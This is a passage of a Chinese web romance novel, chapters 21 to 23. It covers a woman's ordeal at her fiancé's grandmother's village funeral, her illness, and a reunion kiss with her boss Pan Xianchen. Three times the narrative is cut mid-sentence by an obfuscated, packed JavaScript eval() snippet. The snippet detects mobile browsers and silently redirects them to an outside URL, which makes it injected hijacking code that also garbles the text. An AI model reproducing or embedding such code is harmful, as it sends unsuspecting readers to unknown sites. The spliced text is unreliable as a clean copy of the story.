潘羡臣没脾气了,不知道该说些什么好。但一想到刚刚文钰待在这种看起来就很像凶杀案现场的鬼地方,他一阵阵紧张和害怕。他想严厉地骂她一顿,但他手心里的手温温软软的,眼前的人时隔多日终于活生生能触碰,他又忽然很不舍得。 他不应该骂她。应该吻她。 但现在明显不是好的时机。潘羡臣不想在这么恶心的地方对文钰做这件事。 九点半,潘羡臣送完文钰来到了严芊芊的家门口。 潘羡臣:出来。 芊万富翁:? 芊万富翁:你在教我做事? 芊万富翁:你在神气什么? 潘羡臣:蒋进。给你三分钟。出来。 两分半后,严芊芊屁滚尿流地出来了。大门一关,确保门内外隔音良好,严芊芊谄媚地对潘羡臣笑:“羡臣哥哥,这么晚了,怎么了吗?” 潘羡臣面无表情地盯着她,然后冷笑一声:“蒋进被拘留了。你的文钰姐姐替你搞定的。” “啊?真的?”严芊芊双眼放光,“文钰姐姐真的好厉害!上次也是她把我救出来的!哎……等等,你怎么知道的?” 潘羡臣抱臂看她,她被看得直发毛。 严芊芊小声嘟囔:“怎么了嘛?” “乱交朋友,惹事生非,自己坑自己。没见过像你这样会自己跳火坑的人才。” 严芊芊:“……” 别骂了别骂了,已经在后悔了。 严芊芊想起过去几天的惴惴不安和惊恐遭遇,嘴角往下一撇,有种想哭的冲动。她委屈道:“我哪知道蒋进这么可怕?分手了还要缠着我,吓得我现在听到电话铃声就害怕……晚上还要做噩梦……” 看着很可怜,但有可恨之处。 潘羡臣不吃这套,硬着心肠交代:“那你今晚可以睡个好觉了,因为我打算把这件事告诉你爸。你爸出手了,蒋进这个人渣只怕这辈子都不可能出现在你面前。” 严芊芊:? 眼泪白流了?这老东西。 “不行啊潘羡臣哥哥,我爸知道了,蒋进死了,我不也死了?” “谁管你死活?” “……”严芊芊含着一包泪,硬着头皮说,“我知道你不会告诉我爸爸的,你只是恨铁不成钢,你只是关心我。对吧?” “蒋进这种危险人物,你也敢招惹。他犯法了。” “嗯嗯,我错了。”她把头埋下去,没脸看潘羡臣。 “还把文钰也拉扯进来,两次。” “嗯嗯,是我不对。”好愧疚。 “你自己被骗就骗了,文钰出事了怎么办?她那么瘦,她一点力气都没有,她也就比你大几岁,她——” “嗯嗯……嗯?” 什么叫她自己被骗就骗了??? 严芊芊猛地抬头,诧异地看着潘羡臣。不对啊,听这意思——她咂摸着说:“你不是关心我,你就是在担心文钰姐姐?” “有什么不对?” “……” 没什么不对,但好像又有哪里不对。 潘羡臣看了眼腕表,时间已不早。走之前,他甩下最后一句话:“文钰很忙,你不要总是去烦她。” 21. 第 21 章 文钰请了三天假。 潘羡臣钉钉上收到请假申请的时候,文钰已经坐上了去往下河村的城乡大巴。她请的是丧假。潘羡臣点了审批通过,又把彭雁叫进来,问她文钰请丧假的事。 彭雁说:“她和我说得很临时,我也是刚刚才知道。” “她家谁去世了?” “这我不清楚。” 潘羡臣点头,让彭雁出去了。他手头上有不少工作,但此时没有工作的心思。昨晚他刚出差回来,得知了严芊芊和蒋进的事,根本没时间和文钰好好相处。今天上班,文钰又请假了。 她什么都没和他说。他甚至比彭雁知道得还要迟。 潘羡臣的感觉很不好。一支黑色中性笔在他指间转啊转,像他此刻不安焦躁的心。 想了想,他还是忍不住发微信给文钰:你还好吗? 他捏着手机等了一会儿,微信跟死了一样毫无反应。潘羡臣开始做这些天积攒的事,文件刚打开看了两眼,他又扭头去看手机。 没回复。 他继续工作。这回坚持了五分钟。 没回复。 潘羡臣拧着眉,把微信从后台划掉,然后又从主页面重新点开。结果是一样的。 他很想给文钰打电话,但又担心她正在忙。他也不太想给文钰打电话,出了这么大的事,她一声不吭,什么也没和他说。他在生气。他凭什么跟小狗似的摇着尾巴去贴她? 一上午,潘羡臣什么工作都没完成。随着微信越发寂静,他的脸色也越发铁青。 行。他是狗。他摇尾巴。他先低头。 潘羡臣给文钰打电话。 文钰没接到。她手机静音了。城乡大巴又破又旧,在泥泞的山路上摇摇晃晃地行驶。大巴里有一股令人作呕的气味,文钰有点晕车,脸色发白地靠坐着,眼睛紧闭着,她不想看车上这些十分陌生的亲戚。 凌晨两三点,温于把她从睡梦中晃醒。温于的奶奶去世了,老家那边打来电话,让他们现在就赶过去。 文钰洗了把脸清醒了点,温于已经穿戴整齐在玄关等她。她望着他沉默的脸,试探地问:“我必须要去吗?我们还没结婚。我多出一些帛金,可以吗?” 温于静静的视线扫向她。温于和奶奶关系不亲,从小他就跟着父母搬出下河村,和奶奶的见面次数寥寥无几。养在奶奶身边的是温于的堂弟,他们的关系更像亲祖孙。但温于是家中长子,这种场合他必须挑起大梁。 “但我们已经订婚了,我的家庭、我所有的亲戚都认了你了。”温于说,“你不出席,那些人会怎么想?怎么看我和我爸妈?” 文钰抿抿唇,不置可否。 温于提醒她:“晚上你说你要去酒吧接人,我二话不说陪你去了。看在这个面子上,你就不能帮帮我?” 文钰:“……” “你去了不用做什么,跟着大流就好了。”温于看出文钰同意了,侧开身让出路,说,“走吧。” 他们开车到一片野外停车场,大巴在那里等待。车里已经坐了不少人,温于依次和他们打招呼,也向他们介绍文钰。 有个上了年纪的、也不知是温于叔叔还是伯伯的男人上下打量着文钰,笑呵呵地说:“温于好福气啊,老婆长得真漂亮!” 文钰看了他一眼,他咧嘴笑的时候露出不太整齐的黄牙,和他黝黑的肤色倒是相配。文钰不禁想到了她看过的鬼故事里的乡村老尸,顿时令她起了一层鸡皮疙瘩。 温于带着她在后排坐下。颠簸的时间太久,文钰胃里好难受,有强烈的呕吐冲动。温于专注地望着窗外,没注意她。过了一会儿,他说:“到了。” 下了车,乌泱泱一群人迁徙似的挪动着。不远处架了个临时大棚,有挂着皮围裙的阿姨拿着自来水管在冲洗很大的铁盆。 温于说:“先进棚吃早饭。” 早饭很简单,几张大圆桌上摆着类似的包子、稀饭、豆奶之类。棚里的人来来去去,各顾各的,和文钰擦肩而过很多人,她一个都不认识。刚刚晕车还没缓过来,现在闻到肉包子的气味,她一点胃口都没有。 “你吃吧,我吃不下。”文钰走出棚子去外面透气。 下河村依山傍水,环境清幽。这里远离现代化都市,一路过来少见高楼大厦,一排排矮屋和一块块农田是这里的主旋律。 现在天色已大亮,忽然,哗的一声,远处的山林里飞过不知数量的鸟,落下一阵鸟啼。 过了一会儿,温于和几个中年男人从大棚里出来。文钰谁都不认识,只能跟在温于后面。温于把她带到一座简陋的活动板房前,吩咐她先在这儿等着,就被其他人喊去忙东忙西了。 文钰左右看看,身后紧邻一片密林,身前是忙碌的人群,所有人都在干自己的事,没人顾得上她。她像一个另类,孤零零地杵在那儿。 她拿出手机看了看,没有信号。 等了好久,温于还没回来。文钰想上卫生间,她随手拦了一个附近的妇女询问。妇女看看她,手往一个方向一指,一边带着她走,一边说:“你是温于老婆吧?” 文钰含糊地应了一声。 “你们什么时候结婚啊?我们等着喝你们喜酒呢!” 这问题文钰没法回,朝妇女干巴巴地笑笑。 “到了,拉吧。” “……” 文钰看了看眼前的“厕所”,很为难地站着。妇女了解地问:“是不是不习惯旱厕?那没办法,现在条件简陋,只能将就。” “……我先不上了。”这里好臭,文钰屏住呼吸,想赶紧离开。 妇女说:“人都要吃喝拉撒,不上厕所怎么行?你要在这儿好几天呢,怎么搞?要不让温于带你回老屋去,那儿有抽水马桶。” “……谢谢,我一会儿和他说。” 文钰走回原地,温于不知何时已经在那儿站着了。文钰心急地迎上去,温于也看到她,问:“你去哪儿了?我不是让你在这儿等我吗?” “温于,我想上厕所。” 温于顿了下,知道文钰不会上旱厕,得带她去老屋里。但现在事情多得很,回老屋得开车,他还得向亲戚借车。 温于紧皱着眉,但还是借了辆皮卡送她回去。上完厕所出来,文钰对温于说:“我饿了。” 温于:“……” 温于:“谁让你不吃早饭的?现在都什么时候了,你让我上哪儿给你弄吃的?” 文钰回头看看老屋:“那里面会不会有吃的?” 温于:“……” 他急糊涂了。温于跳下车,冲进老屋,不多时,端着一盒饼干出来递给文钰。 皮卡开了。又是一阵颠簸。 文钰手里拿着不知什么品牌的饼干,看了看保质期。已经过期两年了。老人都爱囤东西,过期了也不舍得扔,到现在还没开封。 饼干肯定不能吃了。 文钰看了看温于紧绷的侧脸,什么也没说。算了。 仍旧回到那个地方。温于指了指临时搭建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270844|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的活动板房说:“你去里面休息一下,有事我喊你。” 文钰走进去,里面已经有几个男女坐在板床上休息。他们互不认识,相互笑笑点点头就当打招呼。文钰学他们随便找了张板床坐下,他们在低声交谈,嘴里吃着苹果。文钰饿着肚子,不去看他们。 她想回家。 文钰捂着肚子,眼眶发酸。她把手机拿出来,无意识地左右划着主屏幕页面。信号时有时无,点开微信,顶端的圈圈一直在转,始终刷不出新信息。 她想念潘羡臣。 潘羡臣刚刚出差回来,他们都来不及说几句话,又见不到面了。 文钰点开和潘羡臣的聊天记录,一字一行仔仔细细地看。 啪嗒——她的眼泪砸到了手机屏幕上,把潘羡臣对她说的话晕开了,看不清了。她急忙把眼泪抹掉,那句话又能看得真切了。 外面忽然放起了鞭炮,噼噼啪啪响个不停。 温于进来找她,说:“吃午饭了,吃完稍微休息一下,养足精神,晚上还要守灵。” “守灵?”文钰惊讶地说,“你没和我说还要守灵。” 温于有点不耐:“丧葬习俗本来就是这样的,不止你,还有我,还有别人一起。” “我可以不去吗?”文钰说,“我害怕。” 温于奇怪地看着她:“有什么好怕的?里面躺着的是我奶奶,又不是鬼!” “……” 文钰囫囵吞枣地吃了点食物,心底一直惴惴。认识温于以来,她一次都没见过他的奶奶。现在人死了,她居然要为她守灵? 一个陌生人躺在那儿睡觉,她都不乐意守在边上,更何况是一个陌生的死人。 天很快擦黑了。温于奶奶的尸体停放在温家祠堂里,大红的灯笼挂在门口,有一种诡异的中式恐怖。文钰忐忑地在祠堂外走来走去,她甩着伤未痊愈的右脚,把地上的泥土蹭得凹下一口浅坑。 她不断地取出手机看时间,每分每秒都过得像一月一年那样漫长。不知是哪个时刻,手机突然叮咚连响。手机收到了信号。 文钰打开微信,好几人给她发了消息。她寻找着,潘羡臣的微信夹在中间,她点开看。 [你还好吗?] [?] [在忙?] [你现在在哪里?] [看到消息回复我一下。] [对方未应答] [接电话。] [对方未应答] [对方未应答] [对方未应答] [你在哪里?我来找你。] [对方未应答] 最近通话里也有潘羡臣的未接来电。 这一连串消息像惊雷一般在文钰心底砰砰炸开。当她在不断思念他的时候,他也在不断寻找她。仿佛在这一刻,他们之间有一根看不清摸不着的线连接着,文钰通过这根微微颤抖的线,感受到了潘羡臣的着急、担心、慌乱。 她迫不及待地想要联系他,捧着手机的双手像那根无形的线一样在细微地颤抖。 又没有信号了。 文钰把手机对天举起,来回不断地走着,捕捉着可能存在信号的地方和时刻。 走着走着,她不知走到了哪里。手机的信号格像病床上的心跳一样微弱。她蹙着眉,紧盯着那微弱的变化。 这时,她的手腕忽然猛地被人抓住。文钰浑身一抖,回头,温于急躁的脸埋在周围的黑暗里,他瞪着眼睛说:“你在干什么?” 22. 第 22 章 文钰拧了拧手腕,挣扎不开。温于的力气太大了,她的手像被铁镣铐紧紧箍住似的,丝毫没法动弹。 “很痛。”她只好示弱。 温于松开了手。 他的脸色依然不好,紧盯着文钰的眼神像猎狗一样。他不满地看了看文钰和她手中紧紧捏着的手机,说:“他们都进祠堂了,你还在这儿玩手机?” 文钰再一次请求温于,说:“温于,我可不可以不进去守灵?我真的害怕。我在外面等你,可以吗?” 温于说:“不可以。他们都进去了,你也得进去。” 文钰往后退了一步。 温于又去拽她手腕,这回她有防备,错开了他的手。 温于恼了,骂她:“你别无理取闹了!一整天什么忙都没帮上,只知道推脱!” 文钰鼻子发酸,为自己辩解:“是你说的我来了不用做什么,只要随大流就好了。” “那现在请你随大流去守灵!” “我不想守。”文钰顿了顿,不想让温于听到她的哭腔,“我现在又冷又饿,我想找个舒服的地方躺一会儿。” “又冷又饿?”温于冷笑,“现在是夏天!今天30度!你冷什么呢?饿就更没什么好说的了,是不是觉得乡下农家饭菜不合胃口?你自己数数你吃了几口?” 文钰往远处逃,温于便步步紧追。他们从祠堂门外沿着泥泞小道一路往山林里走。文钰脚伤走不快,没走几步,温于就抓到她了。 “你这副样子,别人看到了还以为我要强迫你干什么呢。”温于把她往回扯,文钰身体打晃,跌倒在地上。 “起来。”温于居高临下地看她。 文钰瞪着他,拍掉了他伸过来扶她的手,一声不吭地爬起来,继续向祠堂反方向走。 温于在她身后恨恨地喊:“早知你这样,我不应该让你来的!” “我本来就不该来。”文钰头也不回。 温于在后面紧跟着,文钰沉默、坚硬、不管不顾的背影深深刺痛了他。他的长辈、同辈一双一对早就按照族谱名录排好,大家都规规矩矩地根据丧葬仪式流程安排在做事。就他成了笑话。 他脚步渐缓,直至停下。 “再走,你就进山了。”温于冷冷地说,“我没功夫陪你在这儿浪费时间。” 文钰停了下来。温于不提醒,她都没发现,四周景致已换。令人毛骨悚然的祠堂不见了,脚下泥泞的路铺上了一层又一层薄薄的枯叶,踩上去会嘎吱嘎吱轻响。周围矗立着几人高的樟树,在呜呜的山风中摇晃枝干。眼前笼罩着浓浓的黑,头顶的月光和星光十分暗淡。她好像已经走到山里来了。 文钰急匆匆回头喊:“温于!” 温于早不在她身后,她依稀看到远处一道黑漆漆的背影,正充耳不闻地远离她。 他走了? 就这么走了?把她丢在这里? 文钰感到一阵茫然,然后是吃惊和慌张。不就是守灵吗?她不想去他就把她单独丢在这里喂狼喂蛇喂虫?文钰扭头看了看四周,伸手不见五指,什么也看不到。她不知道这座山里有没有野狼野猪什么的,她只觉得此时她头晕眼花。她没骗温于,她真的感觉很冷。 她不敢去碰这里的一草一木,就怕不小心惊扰了什么在这里栖息的生物。她继续对着温于的背影大喊:“温于!回来!我跟你去守灵!” 视野内已经完全看不见别的人影了。文钰耳边只传来山林中呼啸而过的风声。 文钰:“……” 接下来怎么办?文钰完全没有野外认路的经验。她生在城市、长在城市,熟悉的是车水马龙和灯红酒绿。她只从小学课本上学到过看树木的年轮稀疏来辨认南北。但这里什么也看不见。 她只能凭着来时的感觉往回走。 走着走着,不知走了多久,她还没看到那座挂着红灯笼的祠堂,她怀疑自己是不是在林子里打转。她是走不快的,但现在也顾不得脚伤,她一个劲儿地走,拼命地走,根本感受不到右脚的疼痛。身体好像也没那么冷了,她开始冒汗,额上、背上。刚出一层汗,又被吹干,衣物冷冰冰地贴着她的身体。 不知走到了哪里,叮咚一声,手机响了。 这里有很弱的信号。 八点多,潘羡臣又给她发了微信:为什么一整天都不回我? 文钰怕那点可怜的信号消失,忙站在原地不动,急速地按了个数字1发送了出去。 发送成功。 很快,潘羡臣回了语音电话。 “喂?” 听到潘羡臣的声音,文钰一时说不出话来,鼻子猛地一酸,眼泪仿佛决堤了一样疯狂地涌出。她把自己的嘴巴捂住,没有漏出一丝声响。 “……” “……” “文钰?”潘羡臣说,“你怎么了?说话。” “……” “……在哭?” 信号断了。 文钰泪眼朦胧地拿着手机,看着微信顶端又开始转起圈圈,手机右上角的信号只有一格。她深呼吸,抹了把脸,把潮湿的手心擦到衣服上,继续往前走。 下河村背靠的山连着山,茂密连绵。但山里是没有野兽的。如果现在是白天,文钰会发现自己其实并没有走进多深的山林里,顶多十分钟,就能走出来。黑夜里,文钰走了近半小时,才走到林子边缘,看到了那两盏鲜红的灯笼。 温于在林子口,与她相向而行。 文钰见到他,冲上去,给了他一巴掌。清脆的掌声引得祠堂附近的人看了过来。 文钰说:“你为什么把我丢在山里?” 温于捂着脸,似是难以置信:“是你自己要进山的。况且,你也没走多深,山外围而已。” “万一我走不出来呢?” “不会走不出来。而且我正打算去找你。” 文钰对他无话可说了。避开他,文钰继续往前走。温于忙扯住她的胳膊,问:“你要去哪儿?” 她说:“我要回家。” 温于觉得离谱:“还在丧期呢,你回什么家?你怎么回家?你打算走回去吗?进山进村车程近一小时,你要走回去?没有车,你走不回去。” 文钰甩开他的手,回头,恶狠狠地瞪着他。 温于说:“好,刚刚我把你一个人留在山里是我不对。但你能不能也照顾一下我的情绪?在这儿和我发脾气,很多亲戚都看到了。你能不能给我留点面子?” 他们在原地逗留太久,有人靠过来看看究竟。 那个带文钰去上旱厕的妇女走过来当和事佬:“怎么啦?吵架了?特殊时期,两个人都让一让嘛!”她先劝温于,说:“你是个大男人,心胸要宽广一点,不要和自己老婆生气呀!”然后又劝文钰:“你呢,是不是害怕守灵?那婶子先带你去休息一下,等你准备好了,婶子陪你一起进祠堂,怎么样?” 周围人都七嘴八舌地附和。文钰扭着头,不说话。温于看着她油盐不进的样子,也把脸扭开了。 妇女来拉文钰:“走走走,别在这儿站着啦!”手一碰到文钰,她就惊呼一声,又伸手去摸文钰的额头,惊喊道:“哎呀!怎么这么烫?你发烧啦!” 文钰紧闭着嘴,一言不发。 是啊,她发烧了。刚刚一直在打寒战,原来是发烧了。她很冷,是因为发烧了。连她自己都没意识到。 现在忽然有人指出来了,文钰感觉到一股浓浓的委屈自心底冒出来,她抿着唇,咬着牙,不想在这些人面前哭出来。 温于意外地看着她。他也没想到。整天,他都忙得关注不到她。 “有没有退烧药啊?再拿点热水。” “发烧别守灵啦,赶快去睡觉吧!板床还有空呢。” “睡板床怎么行的啦?开车送她去镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270845|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,找个舒服的宾馆啊。” …… 下河村的热心村民开着皮卡送文钰去镇上。温于的亲戚们都走不开,按照规矩,温于也不能离场。他站在皮卡外,对着窗说:“对不起,我不知道你生病了。你去镇上好好睡一觉,这边的事,你不用管了。” 文钰不想看见他,把车窗关起来。 热心村民送完了文钰,还得赶回去继续帮忙。他对文钰说:“药给你放这儿了,你记得吃啊!我先走了!” 文钰说:“谢谢叔叔。” 门一关,文钰就着热水把退烧药吃了,然后迷迷糊糊地睡了两个小时。天还没亮,她醒过来,拿着房卡去退房。出了宾馆,她打了一辆车,直接回城去。师傅说:“两百!” 文钰同意了。现在别管几百都行,她恨不得长双翅膀飞回去。 回到家,她轰的一下趴到床上。手机早就没电自动关机了,她也懒得管。睡意上来,总算能睡个安稳觉。 又是两个小时。文钰出了一身汗,悠悠转醒。她拿起手机想看时间,才发现手机没充电。充电器接上后没过几分钟,手机里跳出一大堆消息和未接来电。 潘羡臣给她打了数十个电话。她吃力地撑起半身,给潘羡臣回过去。电话瞬间接通—— “文钰?” “嗯。” “……”他没有马上说话,停顿了一段时间。这段时间里,他狂跳不止的心渐渐平歇,失控的、无措的感觉宛如潮水般渐次退去。他拿着手机的手好像慢慢恢复了知觉。这时候,他才发觉自己的手在轻轻地抖。 “文钰。”潘羡臣好久没喝水,觉得口干舌燥,他吞咽了一下,说,“文钰,我求你,你别这样让我联系不上,好吗?” 文钰眨眨眼睛,脑子还有些混沌,她也没喝水,同样口干舌燥:“我在山里,没有信号。” “你那时候怎么了?是不是很难过?” “……嗯。” “现在呢?好一点了吗?” 文钰摇摇头,眼眶又红了。忽然想到潘羡臣看不到她的表情,于是说:“没有好,潘羡臣,我发烧了。” “吃药了吗?” “吃了。” “现在有人照顾你吗?” “……没有。” “那你在哪儿呢?我可以过来陪你。” 文钰把手机从耳边拿下,看了眼时间。她说:“这么迟了,你还没睡觉吗?” “没有。” 潘羡臣一边说,一边往窗外看去。他睡不着,现在不仅不在床上,甚至没在他家里。潘羡臣坐在车里,他的车停在文钰别墅大门口。门口的保安不让他进。他联系不上文钰,不知道去哪儿找她,于是开着车等在了她家门前。 越来越像摇着尾巴的小狗。 他望着挂在天上的孤零零的月亮,说:“文钰,如果我说我现在想立刻见到你,你会赶到我面前吗?” “……潘羡臣,我正在生病呢。”文钰虚弱地扯了扯嘴角,无声地笑了一下,“睡一觉醒来可能会好。你也睡觉吧。” 电话挂掉了。 潘羡臣闭着眼睛,沉默地坐在车里。他知道自己很不恰当。让一个正经历着丧亲之痛的人拖着病躯来见他?仅仅为了满足他的相思之欲?这不讲道理,也很过分。 但—— 他细想过,如果反过来,让他排除一切困难赶过去见她,他是愿意的。 潘羡臣开着车,漫无目的地行驶在路上。等红灯,停下来。他的目光虚无缥缈地落在半空不知什么地方。 忽然,下雨了。 滴滴答答的雨珠贴在车玻璃上,黏黏腻腻的。长长一条雨丝从上方滑落,底端凝着重重的一颗,要掉不掉的。 潘羡臣凝视着它,不知道想到了什么。片刻,他苦笑了一下。 他就像这场雨。 他在患得患失。 23. 第 23 章 文钰的丧假还剩两天。温于那边的事情她不用再管,但她也不打算销假回去上班。假请都请了,她要把它休完。 从下河村回来后,文钰的烧就渐渐退了。在家躺了一下午,量了三四次体温,每次都在正常范围内。昨晚出了一身汗,文钰觉得自己都臭了,起床后速度冲了个澡。从浴室出来,严芊芊给她打电话:“文钰姐姐,我又找到了一家十分好吃的店,今晚我们一起吃饭呀!” 文钰犹豫了一下。她病还没好全,不太敢出门,晚上打算煮碗馄饨应付的。但在家窝了一整天,不是坐着就是躺着,文钰也想出去走走。又想到之前她想请严芊芊爬山吃农家乐,后来因为蒋进也没请成。干脆这次请了吧。 “好啊,那我请客。”文钰说。 “不行不行,还是我请客。”严芊芊说,“你帮我把蒋进这个大包袱甩掉了,我都没好好谢谢你呢!” “不用谢,为民除害是每个公民应尽的义务。” “要谢的要谢的!我知道你每次帮我,其实自己也挺危险的,我很不好意思的。”严芊芊飞快地说,好像生怕文钰再推拒似的,“反正就是我请客啊,就这么说好了!我现在就在你家门口,等你哦!” “你在我家门口?” 文钰走到落地窗前,往楼下看去。楼下空无一人,这时她才反应过来,严芊芊说的家门口应该是别墅那边。 “我没在别墅里。”文钰说。 “那你在哪里啊?我现在过来接你。” “接我?你怎么接?你又没车,而且你也不会开车。” 严芊芊嘿嘿一笑,说:“我借了我爸爸的司机。文钰姐姐报地址吧,我们马上过来。” 等文钰穿戴整齐,严芊芊发微信和她说她到了。 芊万富翁:文钰姐姐,我忽然好想上洗手间,能不能借一下你的? 文小钰:好的,你上来吧。 文钰把详细门牌号告诉严芊芊,严芊芊火速上楼,文钰一打开门,严芊芊就捂着肚子往卫生间冲。 “……那是书房。” “哦哦。”严芊芊踢踏踢踏,两只脚在原地跑着,急急地问,“那卫生间在哪儿?” 文钰指给她。一阵抽水声过去,严芊芊满脸舒爽地走出来,一边洗手一边随口说道:“文钰姐姐你家装修真好看!我好羡慕你呀,我也想自己住出来,但我父母不会同意的。” 文钰笑着说:“你太小了,等过几年吧。” 司机把她们俩送到了那家店。严芊芊很客气,点了满满一桌子菜。店里装潢很新,摆盘也很精致,文钰忍不住和严芊芊一起拿出手机给菜拍照。 这时潘羡臣发微信给她:晚上我来接你吃晚饭。 文小钰:我已经在吃了,和严芊芊一起。 潘羡臣没回复了。他把微信列表往下滑,找到严芊芊,问:你又在干什么? 严芊芊正在美美拍照中。忽然收到潘羡臣的微信,她一时没感受出“又”字表达的深层含义,也没体会到这句话语气里的忍无可忍。她美滋滋地回:我在和文钰姐姐吃饭呀! 然后附图三张。 潘羡臣收到严芊芊拍的两张美食照和一张文钰的他拍照,先把他拍照右键保存进相册,然后继续质问严芊芊:不是和你说了,别去烦文钰? 芊万富翁:?我请她吃饭怎么烦她了? 潘羡臣又没回复了。他转到文钰的对话框里,发:什么时候吃完?我开车送你回家。 文小钰:不用了,芊芊带了严总的司机。[可爱][可爱][可爱] 潘羡臣:“……” 就一点机会都没有了。 潘羡臣又发:这周五我生日,打算去宁铠的私房菜聚一聚,你也来? 文钰想了想,回:好。 吃完饭,文钰和严芊芊去逛商场。严芊芊买了很多衣服和化妆品,多到四只手都拿不下,她给司机打电话,让司机帮忙拎到车里去。没过多久,严芊芊就逛累了,捏了捏穿着高跟鞋的脚,一扭一扭地去洗手间。 趁严芊芊在洗手间里方便,文钰进了旁边一家店,为潘羡臣挑生日礼物。这一晚上逛下来,文钰思考了许多。给潘羡臣的礼物不好选太贵的,比如名表什么的;也不好选太私密的,比如衣裤鞋之类的;送些茶杯之类的小东西,又觉得以潘羡臣的年龄和资历,好像不太配。选来选去,文钰选了一件对潘羡臣来说比较实用的。 周五晚上,文钰打车去了宁铠的私房菜。潘羡臣从单位出发直接去很近,文钰没让他绕路来接。她不上班,出发得早,路上也空,她是第一个到的。前台的人早就接到指示,见文钰进来,很热情地把她直接引到定好的雅间里。和上回来的那间不一样,这间更大一些,少了点灵巧雅致的味道,多了些豪迈恣意的滋味。同样的装修风格,不同的空间大小、设计巧思,给人呈现的感觉居然大不相同。 文钰坐在位置上观察着四周,没过一会儿,门开了,潘羡臣走了进来。 他们多日未见,忽然这么一坐一站地对视,一时之间谁都没说话。良久,文钰先笑了一下,潘羡臣走到她旁边,见桌上还未摆上茶水,便又走到一边服务柜去拿茶水。柜子上放着一柄瓷壶,潘羡臣拎了拎,空的。 文钰站起身走过去,说:“你要喝茶吗?刚刚服务员问我,我没要。我去叫服务员给你拿。” 还没走到服务柜,文钰折了个弯往外走,雅间门刚打开一条缝,背后一只手伸过来,把门又合上了。潘羡臣在她身后说:“我也没那么想喝茶。” “哦。”文钰点点头。 潘羡臣低头观察着文钰的脸,说:“就这样?” 文钰抬头:“哪样?” “这么冷淡。”潘羡臣勾唇笑着,轻飘飘地说。 他高大的身体拦在文钰身前,令这么大的空间一刹那就逼仄起来。文钰的面前一下子充满了潘羡臣的味道——他为了今天的生日,出发前特意洗了头洗了澡,身上有很清凉的洗浴品的气味;他的衣服也是刚晒好拿过来穿的,散发出暖洋洋的太阳的香味。文钰心如擂鼓地看着他,呼吸间全是潘羡臣的气息。 “你很紧张?”潘羡臣觉得有趣。文钰在宽阔的报告厅当着那么多领导同事的面做汇报是那么自如,出差、巡查、跨部门协作的时候也从不露怯,现在在他面前,他居然感觉到了她在紧张。 她神色是如常的,站在他眼前的整个人的模样也和往常一般无二,但好神奇,这么近,潘羡臣好似能听到她咚咚咚的心跳声。动听。他喜欢听。 “可能好几天没见了。”文钰说。 “是吗?那我好像也在紧张。”潘羡臣拉着文钰的手,放到自己的胸口上,“你摸,我心跳很快。” 文钰:“……” 像疾速奔腾的骏马,像呼啸而过的列车,像密密麻麻的鼓点。文钰觉得自己的掌心好像瞬间滚烫起来,她想把手抽回,潘羡臣不让,反而更逼近了一些。文钰觉得潘羡臣黑黑的睫毛似乎都能倒映在她脸上了。 “你病彻底好了?”他低声耳语。 “嗯。” “生病的时候为什么不同意我过来陪你?” “我又没什么大事,吃了药很快就好了。你过来也没什么用呀,万一传染给你怎么办?” “我身体很好的,没那么容易被传染。” 潘羡臣说着,手臂便圈到了文钰腰上。文钰贴着门,他贴着文钰。潘羡臣想到了在清吧里的时候,她好没力气。这样不行。他偏过脸看了看,猛地用力,掐着文钰的腰把她抬了起来,然后放到了服务柜上。 文钰:“……” “你干什么?放我下去。”她踢了踢腿,想从服务柜上滑下去。 潘羡臣顶住她,将她死死锁在柜面上。这样文钰就比他高了。潘羡臣仰着头看她,嘴角的笑好迷人:“好几天没见,我们要不要重新熟悉一下?” 文钰像被大狗逮住的小猫,毫无反抗之力。她看着潘羡臣拿着她的手把它们搭在他宽阔的肩上,问:“怎么熟悉?” 潘羡臣笑笑,不回答。文钰看着他的脸,不必他说什么,便不由自主地低下头去,吻在他的唇上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270846|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你看,你很知道怎么熟悉。” 他还要说破她。 “你不累吗?”文钰微微仰脖,和他分开。 他皱着眉,很不满地把她的后脑勺重新压下来:“有什么累的。” 过了一会儿,文钰又分开,又问:“你脖子不酸吗?” 潘羡臣懒得回答她,只粗暴地把她的腿往他腰后带:“你夹紧点。” 又过几分钟,文钰挪挪屁股,抱怨:“我不舒服。这个柜子好硬啊,我屁股都坐痛了。” “拿个垫子给你?”潘羡臣指的是椅子上的软垫。 文钰瞥过去一眼,摇头:“那个摘不下来。” “摘不下来?” “对啊,固定在椅子上的。你好朋友的店,你怎么都不知道。” “我知道这个干什么。” 他们亲一会儿,歇一会儿,又聊一会儿。不知过去多长时间,潘羡臣总算把文钰抱下来。他看了看文钰的唇,怪她:“怎么这么嫩啊?亲两下就肿了。” 文钰瞪他一眼。怎么这么厚脸皮啊,说得出这种话。 